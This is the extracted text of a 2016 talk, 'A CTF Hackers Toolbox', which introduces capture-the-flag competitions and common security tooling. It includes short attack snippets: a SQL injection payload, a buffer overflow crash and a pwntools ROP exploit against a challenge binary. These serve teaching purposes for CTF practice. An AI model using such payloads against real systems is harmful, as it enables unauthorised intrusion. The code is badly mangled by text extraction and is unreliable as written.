Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...
 
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
 
Precise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalPrecise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive Goal
 

A CTF Hackers Toolbox

  • 1. A CTF Hackers Toolbox Grazer Linuxtage 2016
  • 2. $ who mike/@f0rki f0rki@hack.more.systems CS/InfoSec Student CTF Player since 2010 @stefan2904 stefan@hack.more.systems CS/InfoSec/CI Student CTF Player since 2014
  • 3. CTF: Capture The Flag Collaborative hacking competitions Teams vs. Teams The goal is to capture ags
  • 5. CTF Type: Jeopardy Figure: Sharif CTF Challenge Board
  • 6. CTF Type: Attack-Defense Figure: RUCTFe 2015 Network Schema (source: RUCTF org)
  • 7. CTF Type: Attack-Defense Figure: FAUST CTF 2015 scoreboard
  • 8. Why CTFs? It's fun! Gain experience in Information Security Challenges modeled after real-world problems Sometimes real-world bugs modeled after CTF bugs?
  • 9. LosFuzzys: A CTF Team in Graz We Like Bugs!
  • 10. LosFuzzys: A CTF Team in Graz A group of people interested in information security Primarily CS/SW/ICE Students from TUGraz But we welcome anyone interested and motivated :) and maybe even you ;) Irregular Meet-ups
  • 11. Where to start? Talk to us! :-) https://hack.more.systems twitter: @LosFuzzys Read writeups! Repo: github.com/ctfs Ours: hack.more.systems/writeups
  • 13. CTF Toolbox Great diversity of challenges Some things turn up frequently Knowledge of technology necessary Experience helps a lot Using the right tools is essential assuming you know how to use them . . .
  • 14. Scripting is your best Friend Be comfortable in automating things Use whatever works best bash, zsh etc. Python, Ruby etc.
  • 15. Command-Line-Fu is very helpful Standard utils grep, sed, awk, sort, cut, uniq, . . . Network stu nc, socat, dig, nmap Query json jq HTTP curl . . . Pipe together to get your results!
  • 16. Bash Password Guessing f o r x in q w e r t y u i o p a s d f g h j k l z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M 1 2 3 4 5 6 7 8 9 0 − _ ? do echo = $x = # count s i g a c t i o n s y s c a l l s s t r a c e ./ stage3 . bin Did_you_l$x$x$x$x$x$x$x$x 21 | grep s i g a c t i o n | wc −l done log # get h i g h e s t count of s i g a c t i o n s and t r i g g e r i n g char cat log | grep −B 1 $ ( cat log | grep −v = | s o r t | uniq | t a i l −n 1)
  • 17. Automated Browsing python-requests import r e q u e s t s URL = ' http :// c t f . example . com ' s = r e q u e s t s . s e s s i o n () r = s . post (URL + ' / l o g i n ' , data={ ' user ' : ' fuzzy ' , ' pass ' : ' 1234 ' }) # GET http :// c t f . example . com/ vuln ?x=' or%201=1−−x resp = s . get (URL + ' / vuln ' , params={ ' x ' : ' ' or 1=1 −−x ' }) # s e s s i o n cookie automagically used here p r i n t resp . t e x t # f l a g {some_flag_of_some_service}
  • 18. Dirty Networking pwntools from pwn import ∗ r = remote ( ' c t f . example . com ' , 1337) # l i n e based r . r e c v l i n e () r . s e n d l i n e ( 'HELO %s%s%s%s ' ) r . r e c v u n t i l ( ' 250 Hello ' ) data = r . recv (4) # unpack LE uint32 from bin i = u32 ( data ) log . i n f o ( ' r e c e i v e d uint32 {} ' . format ( i )) # pack BE uint32 to bin r . send ( p32 (1094795585 , endian=' big ' )) r . r e c v l i n e ()
  • 19. Finding Analyzing Vulnerabilities
  • 20. Analyzing Java/.NET Apps Great decompilers! Java/Dalvik bytecode intellij built-in decompiler (fernower), procyon http://www.javadecompilers.com/ Android apps/Dalvik bytecode apktool, smali/baksmali, jadx Xposed .NET bytecode ILSpy, Jetbrains dotPeek
  • 21. A wild binary appears! $ f i l e ./ pwn pwn : ELF 32− b i t LSB executable , I n t e l 80386 , v e r s i o n 1 (GNU/ Linux ) , s t a t i c a l l y linked , f o r GNU/ Linux 2 . 6 . 2 4 , not s t r i p p e d
  • 22. $ objdump -d ./pwn | less
  • 23.
  • 25.
  • 26.
  • 27.
  • 28. radare2 example commands Search for functions containing exec afl~exec Show/search all strings in the le izz izz~FLAG Compute CRC32 over next 32 byte #crc32 32
  • 29. Binary Decompilers No really good open source binary decompilers :( The radare guys are working on one Commercial/Closed-Source Hex-Rays/IDA Pro Decompiler ($$$) Hopper ($) retdec (free, webservice, no x86_64)
  • 31.
  • 32.
  • 33. Debuggers Use gdb with one of those: PEDA GEF pwndbg voltron gdb-dashboard gdb alternatives: lldb, radare2 Newer debugging approaches qira rr
  • 34. Pwning! $ mkfifo ./ f i f o $ ./ pwn ./ f i f o python −c ' p r i n t (A∗4128) ' ./ f i f o [ 1 ] 9391 The f i l e has been saved s u c c e s s f u l l y [ 1 ] + 9391 segmentation f a u l t ( core dumped) ./ pwn ./ f i f o $ dmesg | t a i l −n 1 pwn [ 9 3 9 1 ] : s e g f a u l t at 41414141 ip 0000000041414141 sp 00000000 ffb6d340 e r r o r 14
  • 35. pwntools again! from pwn import ∗ # NOQA v e l f = ELF( ./ pwn ) r = ROP( v e l f ) r . c a l l ( e x i t , [ 4 2 ] ) payload = A ∗ 4124 + s t r ( r ) # launch process vp = process ( [ ./ pwn , ./ f i f o ] ) gdb . attach ( vp ) # break ∗0 x8048f4e with open ( ./ f i f o , w ) as f : f . w r i t e ( payload ) # forward s t d i n / stdout to process s t d i n / stdout vp . i n t e r a c t i v e ()
  • 36.
  • 37.
  • 38. pwntools/binjitsu I/O abstraction (called Tubes) ELF parser/info Return Oriented Programming (ROP) Shellcode plug'n'pwn shellcode builder Binary data parsing . . .
  • 40. Crypto Tools Pen Paper sage CAS python packages implementing attacks, e.g. python-paddingoracle hashpumpy (hash length extension attack) . . .
  • 41. Learn to Improvise Premature optimization* is the root of all evil! * also commenting code * also clean code (only true for attack during CTFs!) If it works once, . . . it works! Code-reuse between dierent CTFs! Post-CTF code cleanup would be good . . .
  • 42. A fool with a tool is still a fool!
  • 43. https://hack.more.systems Thanks to all LosFuzzys members tuflowgraphy.at realraum IAIK
  • 44. Writeups of Used Examples https://hack.more.systems/writeups 9447ctf: premonition (web) NDH quals 2016: matriochka (reversing) NDH quals 2016: secure le reader (pwn) don't be eve!